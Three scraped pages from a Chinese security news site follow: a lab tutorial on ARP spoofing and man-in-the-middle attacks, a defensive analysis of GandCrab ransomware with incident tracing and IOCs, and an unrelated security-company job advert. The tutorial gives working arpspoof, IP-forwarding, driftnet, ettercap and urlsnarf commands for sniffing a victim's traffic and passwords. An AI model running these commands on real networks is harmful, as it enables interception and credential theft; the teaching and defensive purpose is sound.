arp攻击

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
浅谈Arp攻击和利用Arp欺骗进行MITM
阅读量 109610 | 评论 4 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-07-16 17:00:43

索引
arp欺骗也是很古老的渗透手段了,主要起着信息收集的作用,比如你可以利用欺骗获取对方的流量,从流量分析你认为重要的信息,例如某某账号密码。或是利用Arp攻击,切断局域网内某一用户的网络访问(单向欺骗)。下面着重讲一下中间人攻击的原理,配和实战演练分析,不对的地方,还请大家多多反馈和包涵!

MITM
借用Wiki百科的一个比喻来理解MITM(中间人攻击):

假设爱丽丝(Alice)希望与鲍伯(Bob)通信。同时,马洛里(Mallory)希望拦截窃会话以进行窃听并可能在某些时候传送给鲍伯一个虚假的消息。

首先,爱丽丝会向鲍勃索取他的公钥。如果Bob将他的公钥发送给Alice,并且此时马洛里能够拦截到这个公钥,就可以实施中间人攻击。马洛里发送给爱丽丝一个伪造的消息,声称自己是鲍伯,并且附上了马洛里自己的公钥(而不是鲍伯的)。
爱丽丝收到公钥后相信这个公钥是鲍伯的,于是爱丽丝将她的消息用马洛里的公钥(爱丽丝以为是鲍伯的)加密,并将加密后的消息回给鲍伯。马洛里再次截获爱丽丝回给鲍伯的消息,并使用马洛里自己的私钥对消息进行解密,如果马洛里愿意,她也可以对消息进行修改,然后马洛里使用鲍伯原先发给爱丽丝的公钥对消息再次加密。当鲍伯收到新加密后的消息时,他会相信这是从爱丽丝那里发来的消息。
我们的身份就是Mallory,我们希望欺骗Alice和Bob,让其认为我们是交互的正确目标,从而来获取他们之间交流的信息。

Arp攻击分析
想要进行中间人攻击,先理解最基础的arp攻击

Arp协议
ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址。

以太网(局域网)进行信息传输时,不是根据IP地址进行通信,因为IP地址是可变的,用于通信是不安全的。然而MAC地址是网卡的硬件地址,一般出厂后就具有唯一性。ARP协议就是将目标IP地址解析成MAC地址进行验证通信。

Arp通信过程
每台主机都会在自己的ARP缓冲区建立一个ARP列表(生命周期二十分钟),用于表示IP地址和MAC地址的对应关系。
主机A若想和主机B通信,首先主机A会查询Arp缓存表(后面称ip-mac缓存表)是否有B主机对应的ip-mac,有的话就将B主机的mac地址封装到数据包发送。若没有的话,主机A会向以太网发送一个Arp广播包,告诉以太网内的所有主机自己的ip-mac,并请求B主机(以ip来表示B主机)的mac地址。当B主机收到Arp广播包后,确认A主机是想找自己的mac地址,就会对A主机进行回应一个自己的mac地址。A主机就会更新自己的ip-mac缓存表,同时B主机也会接收A主机的ip-mac对应关系到自己的ip-mac缓存表。
Arp协议缺陷
ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,他就会把对应的ip-mac更新到自己的缓存表

网关的理解
在wiki中这样定义网关:

在计算机网络中,网关(英语:Gateway)是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉,自己的通信目标是一个网关

区别于路由器(由于历史的原因,许多有关TCP/IP的文献曾经把网络层使用的路由器(英语:Router)称为网关,在今天很多局域网采用都是路由来接入网络,因此现在通常指的网关就是路由器的IP),经常在家庭中或者小型企业网络中使用,用于连接局域网和Internet。

网关也经常指把一种协议转成另一种协议的设备,比如语音网关。

网关可以把内网ip转化为外网ip,从而向服务器发出请求。也可以把外网Ip获得的数据包转换成内网ip发给内网主机。

Arp攻击原理
根据以上说的arp协议缺陷,如果我们冒充网关主机C,不停的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们C的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到C主机上,因为没有发给真正的网关,就会造成其它主机的网络中断。

Arp攻击实操
环境
攻击主机A:Kali—>ip: 192.168.11.106
被攻击主机B: windows 7—>ip: 192.168.11.105
网关主机C: 192.168.11.1

我的Kali是在虚拟机下,需要Bridge连接保证机器在同一网段,很多人用Nat连接来转发,在实战的轻快下,需要更改虚拟机的网络配置。

网络配置如图:

实操
这里模拟真实环境,攻击主机A和被攻击主机B在同一局域网下。
1. 先用命令查看一下ip是否正确:
Kali:

可以看到ip是192.168.11.106
Windows7:

ip是192.168.11.105,网关地址是192.108.11.1
2. 用nmap查看当前网端的活跃主机

nmap -sF 192.168.11.0/24

扫描得到如图活跃主机,可以看到我们的主机B。当然获取Ip的途径不可能这么简单,你也可以用fping的方法来分析,之前我用fping探测局域网windows10的主机,发现Ping不通,win10防火墙还是有点东西。不过你可以根据fping的发送包来推断主机是否真正存活,具体可以google一下fping的用法,这里给推荐一个链接

Kali信息收集:Fping

3. 检查被攻击主机是否可以正常上网

百度正常访问

4. 利用Arpspoof进行欺骗攻击
Kali自带的Arpspoof可以很好的进行欺骗,man arpspoof查看官网手册(网上翻译):

名字
arpspoof # 截获交换局域网中的数据包

用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述
# arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

参数
-i interface
# 指定要使用的接口(即指定一块网卡)

-c own|host|both
# 指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

-t target
# 指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

-r
# 毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

host #你想要截获数据包的主机 (通常是网关)。
5. 主机A作为网关主机欺骗
命令语句

arpspoof -i eth0 -t 192.168.11.105 192.168.1.1

执行命令,Kali会向主机B发送ARP响应包,响应包的内容是Kali的ip-mac地址,而响应包里的ip则是网关主机ip地址。每一行代表一个响应包。从左到右:自己Kali的mac、主机B的mac、帧类型码(0806,代表ARP包)、包大小、包内容。

6. 被攻击主机B网络中断
我们在B主机用arp -a查看一下是否欺骗成功

可以看到,网关主机C和攻击者主机A的mac地址相同,欺骗成功

在kali终端输入control + c 可以停止,清空并恢复原来正确的arp相应包,主机重新恢复联网状态

基于Arp攻击理解下的MITM
在前面Arp成功进行攻击后,我们开始作为中间人进行欺骗,需要设置ip转发,获取目标主机B的流量,其后配合其它工具(drifnet)等进行进一步嗅探。

值得一提的是,我们的Arp攻击也是欺骗,但它是单向欺骗,冒充网关主机来欺骗目标主机。实际中,中间人攻击一般是双向欺骗。即作为中间人,主机A双向欺骗主机B与C获得通信内容,但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失,主机A开启ip转发,开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后,我们就能嗅探到双向数据包。

如果你的kali在虚拟机,那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中,网络的连接比较复杂,而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发,基本都会失败,因为笔记本的内置无限网卡满足不了需求。由于放假在家我的usb无线网卡落在了寝室..下面仅以文字给大家介绍攻击的思路和流程,还请见谅…….

linux的ip转发
linux因为系统安全,是不支持IP转发的,其配置文件写在/proc/sys/net/ipv4的ip_forward中。默认为0,需要修改为1。

开启方法大致有两种:

只接进入文件修改
cd /proc/sys/net/ipv4
ls
cat ip_forward
#显示结果为0
echo 1 > ip_forward
cat ip_forward
#显示结果为1,修改成功
使用echo
# echo “1”> /proc/sys/net/ipv4/ip_forward
对网关和目标主机B的双向欺骗
这里进行一步执行,选用第二种Ip转发手段
命令如下:

[email protected]:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1
利用driftnet进程监控
持续保持欺骗,再重新打开一个命令终端。
输入命令:

[email protected]:~# driftnet -i eth0
跳出来的drift窗口即会显示本机正在浏览的图片

使用ettercap工具获取密码
打开新的终端,输入 attercap -G 启动工具
点击Sniff -> unified sniffing,选择要抓包的网卡,默认是自己的网卡eth0,点确定
然后单击Hosts -> Scan for host,待扫描完成后再次Scan for host,此时可以看到ettercap-NG已经扫描的主机列表
选择攻击目标,点击192.168.11.105的ip地址,点击Add to Target 1 ,然后选择网关的ip地址192.168.11.1,点击Add to Target 2
明确目标攻击方式:点击Mitm -> arp poisoning -> Sniff remote connections -> 确定
开始监听:start -> Start sniffing
工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。

urlsnarf:获得受害者的HTTP请求
输入命令:

[email protected]:~# urlsnarf -i eth0
使用Wireshark抓包
使用Wireshark抓取所有的数据包,过滤分析不同请求,类似于ettercap。
例如,要找HTTP POST请求,过滤,查看明文密码,一般是以POST形式上传的账号密码。

关于Arp欺骗的防御

防御原理很简单,就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机(路由器后台地址),网络参数一栏一般有ip与mac绑定一栏,把网关的mac地址与网关地址绑定就好了。只要确定了对应关系,当攻击者发布arp相应包时,就不会更新相应的ip-mac缓存表。

我们重新进行欺骗后,再查询B主机的arp缓存表,如图

网关主机的mac并没有被欺骗成功,我们的防御达到目的

如果想知道对方主机的ip地址其实也容易。我们在Cmd下键入命令arp -a看一下相同mac,就找到了攻击者。

总结
公共区域的wifi存在钓鱼风险
在传输数据过程中尽量使用加密程序
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/151762
安全客 – 有思想的安全新媒体
中间人攻击 Arp攻击分析 获取流量

Hpdoger 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

看我如何绕过 iPhone XS 中指针验证机制(下)
2019-02-28 16:00:54

SA-CORE-2019-003:Drupal 远程命令执行分析
2019-02-28 15:30:37

URLZone:疑似针对日本高科技企业雇员的攻击活动分析
2019-02-28 14:55:25

Windows 下的权限维持
2019-02-28 14:30:26
|发表评论
发表你的评论吧
昵称
Anonymous
换一个
|评论列表
Ea5ter · 2018-09-18 20:13:55 1 回复
好厉害的呢

大表姐 · 2018-07-17 05:52:41 1 回复
分析的过程太过于专业和复杂,非专业人士只看结果便可,网络危险无处不在,信息安全真的很重要。

越南邻国宰相 · 2018-07-17 17:03:07 回复
安全类技术分享,这说的很详细了吧

男科圣手 · 2018-07-17 13:35:10 1 回复
这个还好吧

Hpdoger
Blog:hpdoger.me
文章
4
粉丝
6
TA的文章
FireShellCTF2019 Bad Injections解题记录
2019-01-30 12:00:44
四个实例递进php反序列化漏洞理解
2018-09-12 16:30:13
代码审计入门级DedecmsV5.7 SP2分析复现
2018-08-26 14:00:56
浅谈Arp攻击和利用Arp欺骗进行MITM
2018-07-16 17:00:43
输入关键字搜索内容
相关文章
看我如何绕过 iPhone XS 中指针验证机制(下)
SA-CORE-2019-003:Drupal 远程命令执行分析
URLZone:疑似针对日本高科技企业雇员的攻击活动分析
热门推荐
文章目录
索引
MITM
Arp攻击分析
Arp协议
Arp通信过程
Arp协议缺陷
网关的理解
Arp攻击原理
Arp攻击实操
环境
实操
基于Arp攻击理解下的MITM
linux的ip转发
对网关和目标主机B的双向欺骗
利用driftnet进程监控
使用ettercap工具获取密码
urlsnarf:获得受害者的HTTP请求
使用Wireshark抓包
关于Arp欺骗的防御
总结
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

crab

crab
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
近期GandCrab勒索事件详细分析
阅读量 159597 | 评论 6

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-11-05 15:00:44

作者:[email protected]观星实验室

勒索事件概述
从2018年9月底开始,根据数据监测GandCrab勒索有大规模爆发趋势,且版本更新频繁。在国内GandCrab目前仍以弱口令爆破、伪装正常软件诱导用户运行及漏洞传播这三种方式传播。当用户遭受感染时,系统磁盘被加密,文件后缀被修改为随机字母,并勒索交付数字货币赎金。 本文将对勒索事件应急中的一些经验与大家分享

PS: GandCrab作者曾向被加密的叙利亚受害者道歉公布了5.0.3以前版本的密钥,随后更新了5.0.4版本并将叙利亚排除在加密区域之外,但是在10月最新的5.0.5版本又将这个区域设定删除

样本勒索执行流程

勒索样本分析
虽然GandCrab勒索病毒更新比较频繁,但代码框架变动不大,为保持文章完整性,这里对勒索的流程和细节进行梳理,以10月最新的5.0.5版本分析为主。
MD5: C805528F6844D7CAF5793C025B56F67D

从GandCrabV4版本之后,作者对函数调用入口做了处理,增加静态分析难度,此处入口为 loc_4061B3

遍历进程,结束占用特定文件的进程,为能正常加密文件做准备

结束的进程如下

检测特定的互斥量

这里的互斥量对应了样本中嵌入的DLL,决定是否开启利用两个提权漏洞进行提权DLL通过xor 0x18解密后,内存执行并通过管道与主进程通信

通过VerifyVersionInfoW判断操作系统MajorVersion是否为6以上

判断当前进程权限及安全身份RID,判断是否大于0x1000,这是确认当前进程是否为system组启动,以上两步均是判断操作系统是否为win7以上

判断是否为俄语系键盘语言及输入法

5.0.4版本中作者将叙利亚列入未加密区域,在5.0.5中又将其删除

5.0.5如下图所示,5.0.4版本如上图所示

将系统盘磁盘卷区的序号与特定字符串拼接加密后计算hash值,以此创建Mutex变量

随后使用内置的密钥解密出RSA公钥

当前版本RSA公钥如下

查找是否存在相关杀软进程

从注册表中取处理器相关信息拼成字符串计算CRC32值

获取机器信息,生成ransomId并拼接成字符串

随后通过RC4对这部分数据加密,RC4密钥为”jopochlen”

加密后的数据如下

在GandCrabV5版本后,加密文件后生成后缀变为随机

提取中要加密文件的类型及其后缀

使用CryptGenKey及CryptExportKey生出并导出公私密钥对,并查找注册表HKCUSOFTWAREkeys_datadata及HKLMSOFTWAREkeys_datadata两项,作者检查HKCU及HKLM为确保样本在非管理员权限以上启动也可正常写入注册表

若这两个注册表项均不存在,则先创建HKLM(HKCU)SOFTWAREex_datadata项,并生成ext子项中存储此次勒索后缀。

生成RSA公钥加密后的密钥

将密钥信息写入到注册表HKLM(HKCU)SOFTWAREkeys_datadata的public和private中

若这些注册表项已经存在则会使用HKLM(HKCU)SOFTWAREkeys_datadata项中原有的密钥及对应的后缀继续加密

将加密提示写入到txt文件中

并将加密后的密钥Base64保存

创建线程开始加密

加密会分别枚举网络资源和本地文件,枚举网络资源如下

以下目录不加密

以下文件不加密

存在随机生成的字符串则在目录下生成XXXXX-DECRYPT.txt勒索信息文件,否则生成KRAB-DECRYPT.txt

使用随机生成的字符串为后缀,若不存在则使用KRAB后缀

递归遍历磁盘目录,加密流程如下

加密函数与老版本基本相同

最后末尾写入0x21c大小的加密数据

将机器信息Base64编码后发送到某些域名

解密出的域名如下图

通过执行vssadmin delete删除巻影镜像防止恢复

勒索完成后会自删除

在GandCrabV5版本后,会在%TEMP%目录下创建并更改系统壁纸,展示勒索信息

在GandCrabV5版本后,作者增加了多个提权漏洞利用,有影响Win7、WinServer 2008及WinServer 2008 R2提权漏洞CVE-2018-8120

影响Win7以上的操作系统的提权漏洞CVE-2018-8440

Win10提权漏洞CVE-2018-0896

至此勒索样本分析完成

事件溯源分析
在2018年10月18日,360观星实验室团队在处理用户应急时,发现内网遭遇勒索,文件后缀被加密为PWFKPFCP,在磁盘目录下发现PWFKPFCP-DECRYPT.txt文件,根据特征判断用户感染了GandCrab勒索软件

对于被感染的用户,使用了观星实验室应急响应分析平台,对用户相关系统提取关键日志等信息,通过关联分析,大致得出黑客攻击的路径,具体如下:

无论是前段时间爆发的GlobeImposter勒索、Crysis勒索还是近期的GandCrab勒索,以弱口令爆破为主要攻击手法的黑客团伙已经拥有非常成熟的流程和工具。

在对收集上来的日志进行关联分析时,发现对KProcessHacker服务的加载时间来统计其时间轴进行初步定位

从数据得出在2018年10月16日22点57分,KProcessHacker服务已被加载,其登录分析行为如下

在暴力破解检测中发现从2018年10月14日开始,用户机器已经遭受大量爆破攻击

并发现了两条可疑的RDP登录记录

一条记录指向是X.X.X.60这台机器,在2018年10月18日凌晨2点29分通过Administrator RDP登录,这台60机器显然也是受害机器,但时间已经晚于KProcessHacker加载时间

另一条记录指向是X.X.X.171这台机器,在2018年10月16日22点56分通过Administrator RDP登录,这台机器的登录时间与KProcessHacker服务的加载时间相近且在其之前

深入分析171机器,同样发现了大量爆破记录

在2018年10月17日凌晨4点05分Administrator被重置密码

随即在2018年10月17日凌晨4点13分开始,恶意ip 119.129.75.111登录

并在2018年10月17日 17点27分将Administrator添加为Oracle超级管理员

继续对X.X.X.171机器关联分析发现X.X.X.164机器被更多的恶意ip登录

针对乌克兰193.238.46.96等ip分析,发现存在明显的扫描和爆破行为

对所有登录事件关联分析如下图所示

通过以上分析,基本确认出此次攻击的发起点及攻击路径

处置建议
对于已经感染的服务器立即下线隔离
在网络边界防火墙上全局关闭3389端口或3389端口只对特定IP开放
开启Windows防火墙,尽量关闭3389、445、139、135等不用的高危端口
每台服务器设置唯一口令,且复杂度要求采用大小写字母、数字、特殊符号混合的组合结构,口令位数足够长(15位、两种组合以上)
及时修复系统漏洞

安全建议
系统、应用相关的用户杜绝使用弱口令,同时,应该使用高复杂强度的密码,尽量包含大小写字母、数字、特殊符号等的混合密码,加强管理员安全意识,禁止密码重用的情况出现
禁止服务器主动发起外部连接请求,对于需要向外部服务器推送共享数据的,应使用白名单的方式,在出口防火墙加入相关策略,对主动连接IP范围进行限制
有效加强访问控制ACL策略,细化策略粒度,按区域按业务严格限制各个网络区域以及服务器之间的访问,采用白名单机制只允许开放特定的业务必要端口,其他端口一律禁止访问,仅管理员IP可对管理端口进行访问,如FTP、数据库服务、远程桌面等管理端口
配置并开启相关关键系统、应用日志,对系统日志进行定期异地归档、备份,避免在攻击行为发生时,导致无法对攻击途径、行为进行溯源等,加强安全溯源能力
针对服务器,不仅要安装带主动防护的杀毒软件,最好部署安全加固软件,阻断黑客攻击

参考链接及IOC
IOC:

c805528f6844d7caf5793c025b56f67d

f8853def4c82a9075ff0434c13ceca23

c805528f6844d7caf5793c025b56f67d

“GandCrab勒索病毒最新疫情”- 360安全卫士

“Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation”- Mcafee

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/163414
安全客 – 有思想的安全新媒体
GandGrab

360观星实验室 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

Anatova勒索病毒详细分析
2019-02-28 11:38:43

警惕!WinRAR漏洞利用升级:社工、加密、无文件后门
2019-02-28 10:10:25

Pwn FruitShop的故事(下)
2019-02-27 16:30:53

风雨欲来:恶意软件 Brushaloader 深入分析
2019-02-27 15:30:33
|发表评论
发表你的评论吧
昵称
网瘾患者
换一个
|评论列表
咸鱼 · 2018-11-05 18:24:28 回复
这日志分析平台叫啥

咸鱼 · 2018-11-05 18:21:44 回复
不明觉厉。,

大表哥 · 2018-11-05 17:02:46 回复
师傅有点牛啊

越南邻国宰相 · 2018-11-05 16:10:17 1 回复
厉害了

越南邻国宰相 · 2018-11-05 16:10:14 1 回复
厉害了

x0r · 2018-11-05 15:57:12 1 回复
有点犀利

360观星实验室
360企业安全观星实验室成立于2017年,主要的研究方向包括攻防技术研究、安全数据分析、应急响应、攻击溯源等方向,致力于为企业客户提供全方位专业的安全技术支持。
文章
4
粉丝
6
TA的文章
Nexus Repository Manager 3 远程代码执行漏洞 (CVE-2019-7238) 分析及利用
2019-02-18 12:16:47
近期GandCrab勒索事件详细分析
2018-11-05 15:00:44
php-fpm环境的一种后门实现
2018-11-01 14:30:38
机器学习在Windows RDP版本和后门检测上的应用
2018-08-22 09:00:05
输入关键字搜索内容
相关文章
Anatova勒索病毒详细分析
警惕!WinRAR漏洞利用升级:社工、加密、无文件后门
Pwn FruitShop的故事(下)
风雨欲来:恶意软件 Brushaloader 深入分析
CVE-2018-0296 Cisco ASA 拒绝服务漏洞分析
Video Downloader(Plus)Chrome插件漏洞分析:绕过CSP实现UXSS
Pwn FruitShop的故事(上)
热门推荐
文章目录
勒索事件概述
样本勒索执行流程
勒索样本分析
事件溯源分析
处置建议
安全建议
参考链接及IOC
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

八分量

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
北京八分量信息科技有限公司招聘(海龟团队、前沿技术)
阅读量 50420 | 评论 4

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-12-22 17:22:33
2017已经到了年底,还记得年初立下的flag吗?紧不紧张!!!
![](https://p5.ssl.qhimg.com/t01f75c410f0461e17d.jpg)
减肥、脱单、旅游、加薪,有哪个是实现了的?时间既是是道好的送分题,更是一道送命题!

2017年只剩10天了!10天?可能还没有10天了

年底,又在做总结、计划、写材料、做汇报、开大会,头疼、焦虑、烦躁不?是不是觉得忙了一年,想干事的没几件办成?想做点事情,想改变点什么,那么考虑下加入我们吧。

公司简介
八分量是一家由牛津、北大博士创立的信息安全公司,专注于服务器安全领域,致力于解决企业信息系统面临的未知威胁,为以服务器为核心的企业信息系统提供全运行周期的安全保护。在可信计算、UEBA、区块链研究等有着深入的探索跟实践,已与北京大学软微学院、浙江清华长三角研究院合作建立了联合实验室。同时,与牛津大学 OeRC 中心、牛津大学信息安全中心等保持密切沟通合作,共同推动产业研究与创新发展。
官网:www.8lab.cn

办公地点
北京

招聘岗位
测试工程师(10k-20k)
工作内容:

(1)负责公司产品的相关测试工作
(2)参与完成公司产品需要的SRE/DevOps配套自动化测试环境
(3)参与设计测试用例;发现并解决产品研发和测试过程中的技术、流程等方面的问题
(4)参与接口、前端,自动化测试框架、测试工具的设计和开发

岗位要求:

(1)熟悉phabricator 、Bugfree、QC、JIRA等测试管理工具中的一种;
(2)具有测试开发经验者优先,熟悉软件测试流程与技术,有大型项目的测试经验者优先 ;
(3)熟悉Python、JAVA或C/C++其中一种的使用,熟悉Linux/Unix相关原理;
(4)熟悉单元测试、功能测试、压力测试等原理与概念;
(5)具备良好的测试代码编写与测试文档编写的工程习惯;
(6)熟悉jenkins相关的持续集成与自动测试的配合工作;
(7)具有优秀的沟通能力和团队合作能力;
(8)具有认真负责的专业素养、积极主动的工作态度、和良好的学习能力;

加分项(具备以下其中一项就可以):

(1)了解Selenium、JMeter 等自动化测试框架与工具的一种;
(2)了解Charles、Mocha、Jasmine、Sahi 、Siege等web、移动端自动化测试框架与工具的一种;
了解TDD/BDD的相关实施方法和原理;

机器学习工程师(10k-20k)
岗位要求:

(1)熟悉JAVA、Python、C/C++、GO语言中的其中一种;
(2)熟悉常用的数据挖掘和机器学习算法LR,Boost,SVM,贝叶斯,掌握常用的特征工程,以及探测和利用的方法等;
(3)较好的模型评估技能,能够正确客观地对模型效果进行评估以改进模型以及优化参数;
(4)熟悉Scikit-learn、Mahout、MLlib、Weka等常用机器学习库其中一个的使用方法;
(5)了解常见深度学习平台Caffe,Paddle,TensorFlow,DMTK,MXNET等其中一种;
(6)良好的逻辑思维能力和数据敏感度,能能够从海量数据中发现有价值的规律
(7)具备良好的分析和解决问题的能力,具备一定的钻研精神和持续学习的意愿,强烈的责任感和团队感,对负有挑战性的工作充满热情。

加分项(具备以下其中一项就可以):

(1)有kaggle/OI / ACM / TopCoder / GCJ / Codeforces 等算法竞赛获奖经历者优先;
(2)有在CCF 机器学习相关领域A类/B类发表学术成果优先;
(3)有深度学习项目实际应用经验优先;
(4)有海量数据分析挖掘项目经验,应用在推荐、语义识别、反作弊、聚类、分类、用户画像等场景中的一种优先;

后端开发工程师(10k-20k)
岗位要求:

(1)本科及以上学历,熟悉JAVA、Python、C/C++语言中的其中一种;
(2)了解KVM、Xen相关虚拟机的原理,并有一定的基于虚拟机的相关开发与调试经验;
(3)熟悉操作系统的相关原理,具备多线程/进程的相关开发经验,熟练应用IPC等相关机制;
(4)熟悉数据库的相关原理,具备一种或者几种常见数据库的相关开发经验,比如mysql、PostgreSQL、MongoDB、Cassandra、Redis等。
(5)了解openstack相关组件的原理,具备一定的相关开发或者使用部署经验;
(6)具备良好的设计模式、代码规范、团队合作能力,对新技术或问题能独立学习,思考解决问题;

加分项(具备以下其中一项就可以):

(1)熟悉渗透测试、WAF、防火墙、入侵检查、漏洞扫描等;
(2)了解linux内核安全机制;
(3)了解可信计算相关原理或具备相关开发经验;
(4)具备分布式与负载均衡相关项目开发经验;

安全工程师(10k-20k)
岗位要求:

(1)本科及以上学历,1年以上计算机安全相关领域经验。
(2)了解WEB安全和漏洞原理(如SQL注入、XSS攻击、命令注入、CSRF攻击等),了解CC、DDOS攻击,熟悉一(3)定各种应对的安全技术,有成功抵御的经验者优先。
(3)定各种应对的安全技术,有成功抵御的经验者优先。
(4)了解常见的加密算法以及DEX、ELF加壳脱壳经验。
(5)了解Windows/Linux/Unix平台kail渗透测试、后门分析、加固等。
(6)熟悉一门或多门脚本语言(Java/Perl/Python/lua/php)的使用,并且能够根据需求开发相应的安全工具。
(7)需至少满足上述2-5条件中的一条。

加分项(具备以下其中一项就可以):

(1)有IDS、IPS、WAF等相关安全产品开发经验者优先。
(2)有web程序、app漏洞挖掘经验者优先考虑。

运维工程师(10k-20k)
工作内容:

(1)编写运维工具,满足产品日常数据统计及展现的需求;
(2)参与管理大量自有PC端和手机终端的应用部署、日常运维工作;
(3)负责业务系统的应用级别维护。内容包括:应用异常维护,系统日常更新、部署等;
(4)整理编写运维工作需要的技术文档。

岗位要求:

(1)本科及以上学历,1-3年以上实际运维工程师工作经验,有创业公司或者IT大公司工作经验优先,有信息安全或互联网门户网站工作经验优先;
(2)熟悉使用shell,python等脚本语言中的一种,并具备一定的开发能力,能够进行简单的运维工具开发;

加分项(具备以下其中一项就可以):

(1)了解zabbix、nagois等监控系统的搭建和维护,能够开发自定义脚本;
(2)了解Nginx/Apache/Tomcat等Web应用服务器其中一种的部署、优化;
(3)了解MySQL、redis、mongodb等数据库其中一种,相关集群部署,监控,优化;
(4)了解自动化配置工具,如ansible、saltstack、puppet等其中的一种;

产品经理(15k-30k)
工作内容:

(1)产品生命周期管理:产品立项、制定产品和实施方案、产品相关认证等产品周期
(2)产品规划、需求管理:负责有效组织和管理产品的业务需求和特性,并牵头对产品提出下一步规划
(3)产品营销推广与产品定价及销售政策调整
(4)产品培训:负责撰写产品介绍相关资料,面向客户以及公司内部销售,技术,售后等部门进行产品培训
(5)产品支持:提供基于产品的大项目售前支持,行业入围支持,特殊重点项目的支持等;

岗位要求:

(1)本科以上学历,熟悉信息安全行业,熟悉主流安全产品
(2)具备3年以上网络安全行业产品经理、售前工程师等相关工作经验,熟悉信息安全体系框架
(3)对产品的未来发展有清晰完整的见解,了解产品及竞争对手的最新动态;
(4)性格开朗,具有较强的沟通、组织、策划能力,良好的团队合作精神
(5)具备较强的逻辑思维能力、学习创新能力、数据分析能力和语言表达能力;
(6)有重大安全项目或产品成功经验者优先

人力资源经理(10k-20k)
工作内容:

(1)负责参与公司人力资源的总体规划及发展,对整体人力资源体系进行优化;
(2)建立并完善公司人力资源管理体系,在招聘、绩效、薪酬等方面建立适合公司的人力资源管理模式,建立有效的制度并组织实施;
(3)协调公司各部门关系,建立上下级员工沟通渠道,更好发挥员工积极能动性;
(4)负责公司招聘工作及员工入离转调流程
(5)向高层决策者提供有关人力资源战略、组织建设等方面的建议;合理利用人力资源成本,提高公司整体的综合管理水平。

岗位要求:

(1)3以上人力资源工作工作经验;
(2)本科及以上学历,人力资源或管理类等相关专业,211、985院校优先;
(3)有互联网行业工作经验,有安全行业人力工作经验者优先
(4)对现代化企业人力资源管理模式有一定的认识,了解互联网人才现状,对初创公司的人力资源管理体系有一定研究;
(5)具有良好的沟通能力与人际交往能力,学习能力强,执行力出众。

员工福利
规定的几险几金该有的都有,零食水果随便拿,不定期轰趴,大节日礼包,反正团建正经合影照片没留下多少,都是吃吃喝喝的……

联系方式
简历投递至: [email protected] (请注明来自安全客)

安全招聘发布请联系安全客 [email protected]

商务合作,文章发布请联系 [email protected]
招聘 北京 八分量

八分量 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

Anatova勒索病毒详细分析
2019-02-28 11:38:43

警惕!WinRAR漏洞利用升级:社工、加密、无文件后门
2019-02-28 10:10:25

Pwn FruitShop的故事(下)
2019-02-27 16:30:53

风雨欲来:恶意软件 Brushaloader 深入分析
2019-02-27 15:30:33
|发表评论
发表你的评论吧
昵称
Dir溢出大神
换一个
|评论列表
软微第一菜 · 2017-12-22 19:08:19 回复
给学长打call

妇科圣手 · 2017-12-22 18:13:09 回复
妹纸们好漂亮呀,可惜在帝都……

parker · 2017-12-26 22:28:45 回复
你是饥渴成啥样

杨教授 · 2017-12-24 19:35:55 回复
眼瞎啊你。

八分量
这个人太帅了,签名都懒得写一个
文章
1
粉丝
0
TA的文章
北京八分量信息科技有限公司招聘(海龟团队、前沿技术)
2017-12-22 17:22:33
输入关键字搜索内容
相关文章
招聘 | Zoom公司诚聘安全人才
招聘 | 2019四叶草安全一大波招聘,你准备好了吗?
招聘 | 风暴中心年薪20W~50W,数10个新工位虚位以待
招聘 | 安恒重庆招聘安全研究员
民生银行招聘资深安全工程师
